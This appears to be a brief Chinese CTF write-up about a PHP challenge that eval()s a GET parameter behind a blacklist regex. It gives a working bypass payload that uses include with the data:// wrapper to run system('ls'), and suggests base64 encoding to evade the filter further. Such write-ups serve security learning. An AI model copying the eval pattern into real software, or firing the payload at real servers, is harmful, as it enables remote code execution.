<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
先说payload:?c=include$_GET[1]?>&1=data://text/plain,<?php system(“ls”);?>
前半段的?c=include$_GET[1]?>是为了和前面的形成闭合,这样在后面通过包含的1配合data伪协议进行传入参数,参数为一个执行的函数,这里给了我一个思路,如果我把<?php system(“ls”);?>修改为base64的话,也许能进一步绕过。